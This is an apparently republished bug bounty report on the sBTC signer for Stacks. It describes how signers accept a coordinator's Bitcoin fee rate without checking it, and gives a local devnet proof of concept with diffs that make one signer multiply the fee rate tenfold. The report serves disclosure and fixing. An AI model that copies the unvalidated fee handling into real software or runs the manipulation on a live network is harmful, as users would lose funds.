Skip to content
Business logic Audit finding Advanced

The coordinator can set a higher BTC tx fee than the current network to make users to pay more fees to the BTC miner

Signers do not validate the BTC transaction fee rate supplied by the coordinator when building deposit transactions, so a malicious coordinator can set a much higher fee rate than the network requires. This makes users pay more in fees than necessary, with the excess going to Bitcoin miners.

f4lc0n Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#38460 [BC-Low] The coordinator can set a higher BTC tx fee than the current network to make users t

Submitted on Jan 3rd 2025 at 22:44:27 UTC by @f4lc0n for Attackathon | Stacks

Description

Brief/Intro

When a signer acts as a coordinator, he will initiate BTC transactions to transfer the deposited BTC to the signer's multi-wallet.

The problem now is that signers do not check the fee_rate of the BTC transaction set by the coordinator. Therefore, a malicious signer can set a higher fee_rate to make users pay more fees.

Vulnerability Details

The signer/src/bitcoin/validation.rs::construct_package_sighashes code is as follows.

Rust
    pub async fn construct_package_sighashes<C>(
        &self,
        ctx: &C,
        btc_ctx: &BitcoinTxContext,
    ) -> Result<Vec<BitcoinTxValidationData>, Error>
    where
        C: Context + Send + Sync,
    {
        let cache = self.fetch_all_reports(&ctx.get_storage(), btc_ctx).await?;

        self.pre_validation(ctx, &cache).await?;

        let signer_utxo = ctx
            .get_storage()
            .get_signer_utxo(&btc_ctx.chain_tip)
            .await?
            .ok_or(Error::MissingSignerUtxo)?;

        let mut signer_state = SignerBtcState {
            fee_rate: self.fee_rate,
            utxo: signer_utxo,
            public_key: bitcoin::XOnlyPublicKey::from(btc_ctx.aggregate_key),
            last_fees: self.last_fees,
            magic_bytes: [b'T', b'3'], //TODO(#472): Use the correct magic bytes.
        };
        let mut outputs = Vec::new();

        for requests in self.request_package.iter() {
            let (output, new_signer_state) = self
                .construct_tx_sighashes(ctx, btc_ctx, requests, signer_state, &cache)
                .await?;
            signer_state = new_signer_state;
            outputs.push(output);
        }

        Ok(outputs)
    }

It directly uses the fee_rate passed by the coordinator without checking it. Then the coordinator can send a fee_rate higher than the current main network to make users to consume more fees.

Fix

Check the fee_rate provided by the coordinator to make sure it is not much higher than the current mainnet.

Impact Details

Users usually set a transaction fee higher than the current mainnet to ensure that their deposits are executed. The remaining transaction fees will normally be returned to the user in the form of sBTC. Attackers can use this bug to make users lose this part of the redundant transaction fees.

However, the user's loss is limited, so I think the bug is Medium.

References

None

Proof of Concept

Proof of Concept

  1. Base on: https://github.com/stacks-network/sbtc/releases/tag/0.0.9-rc4

  2. Patch signer/src/config/mod.rs, add attacker flag config

    Diff
         /// The minimum bitcoin block height for which the sbtc signers will
         /// backfill bitcoin blocks to.
         pub sbtc_bitcoin_start_height: Option<u64>,
    +    /// @audit;
    +    pub audit_this_signer_is_attacker: Option<bool>,
     }
    
     impl Validatable for SignerConfig {
    
  3. Patch signer/src/main.rs, load attacker flag

    Diff
         );
    
         // Load the configuration file and/or environment variables.
    -    let settings = Settings::new(args.config)?;
    +    let mut settings = Settings::new(args.config)?;
    +    std::thread::sleep(std::time::Duration::from_millis(2000)); // wait for the `docker logs` command
    +    settings.signer.audit_this_signer_is_attacker = match std::env::var("AUDIT_THIS_SIGNER_IS_ATTACKER") {
    +        Ok(value) => Some(value.parse::<bool>().unwrap()),
    +        _ => Some(false),
    +    };
    +    tracing::info!("@audit; audit_this_signer_is_attacker: {:?}", settings.signer.audit_this_signer_is_attacker);
         signer::metrics::setup_metrics(settings.signer.prometheus_exporter_endpoint);
    
         // Open a connection to the signer db.
    
  4. Patch docker/docker-compose.yml, add attacker flag

    Diff
           - postgres-3
         environment:
           <<: *sbtc-signer-environment
    +      AUDIT_THIS_SIGNER_IS_ATTACKER: true
           SIGNER_SIGNER__DB_ENDPOINT: postgresql://postgres:postgres@postgres-3:5432/signer
           SIGNER_SIGNER__PRIVATE_KEY: 3ec0ca5770a356d6cd1a9bfcbf6cd151eb1bd85c388cc00648ec4ef5853fdb7401
           SIGNER_SIGNER__P2P__SEEDS: tcp://sbtc-signer-1:4122,tcp://sbtc-signer-2:4122
    
  5. Patch signer/src/transaction_coordinator.rs, add attack action. It will set 10x fee_rate.

    Diff
             let pending_requests_fut =
                 self.get_pending_requests(bitcoin_chain_tip, aggregate_key, signer_public_keys);
    
             // If Self::get_pending_requests returns Ok(None) then there are no
             // requests to respond to, so let's just exit.
    -        let Some(pending_requests) = pending_requests_fut.await? else {
    +        let Some(mut pending_requests) = pending_requests_fut.await? else {
                 tracing::debug!("no requests to handle, exiting");
                 return Ok(());
             };
    +        // @audit; begin
    +        let this_signer_is_attacker = self.context.config().signer.audit_this_signer_is_attacker.is_some_and(|x| x);
    +        if this_signer_is_attacker {
    +            pending_requests.signer_state.fee_rate *= 10 as f64;
    +        }
    +        // @audit; end
             tracing::debug!(
                 num_deposits = %pending_requests.deposits.len(),
                 num_withdrawals = pending_requests.withdrawals.len(),
                 "fetched requests"
             );
             // Construct the transaction package and store it in the database.
    
  6. Run docker

    Shell
    make devenv-up
    make devenv-down
    docker compose -f docker/docker-compose.yml --profile default --profile bitcoin-mempool --profile sbtc-signer build
    make devenv-up
    
  7. Add this code to signer/src/bin/poc9.rs

  8. Patch signer/Cargo.toml, add poc9 bin

    Diff
    +[[bin]]
    +name = "poc9"
    +path = "src/bin/poc9.rs"
    
  9. Waiting for the sBTC contract to be deployed. Then run the poc9 tool. It will send 40 BTC to the signers BTC address and trigger deposits every 10 seconds.

    Shell
    cargo run -p signer --bin poc9
    
  10. Wait until the trigger the coordinator is sbtc-signer-3.

  11. In BTC explorer, you will find that the transaction initiated by sbtc-signer-3 consumes more transaction fees (x10) than other transactions.

The original report as published on Immunefi, by f4lc0n. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signers trust the coordinator-supplied fee rate and never compare it against a reasonable network rate before signing.

Impact

Users could lose the surplus fee they paid, which would otherwise have been returned to them as sBTC, though the loss per user is limited.

What the attacker needed

Attacker is the coordinator; attacker controls a signer node

The fix

Signers should validate the coordinator's fee rate and reject values much higher than the current mainnet rate.

How it was found

  1. Patch the signer config to add an attacker flag
  2. Patch main to load the attacker flag from an environment variable
  3. Add the attacker flag to the docker compose signer environment
  4. Patch the transaction coordinator so an attacker multiplies the fee rate by ten
  5. Build and start the docker development environment
  6. Run the proof-of-concept tool to send BTC and trigger deposits, then observe the inflated fee in the block explorer

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A group of computers (signers) work together to move users' Bitcoin, and one of them, the coordinator, proposes the transaction including how much fee to pay the Bitcoin network. The others accept that fee without checking it, so a dishonest coordinator can inflate the fee and the extra money goes to miners instead of back to the user.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by f4lc0n

View all

14 more disclosed reports, best first.

More from Stacks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.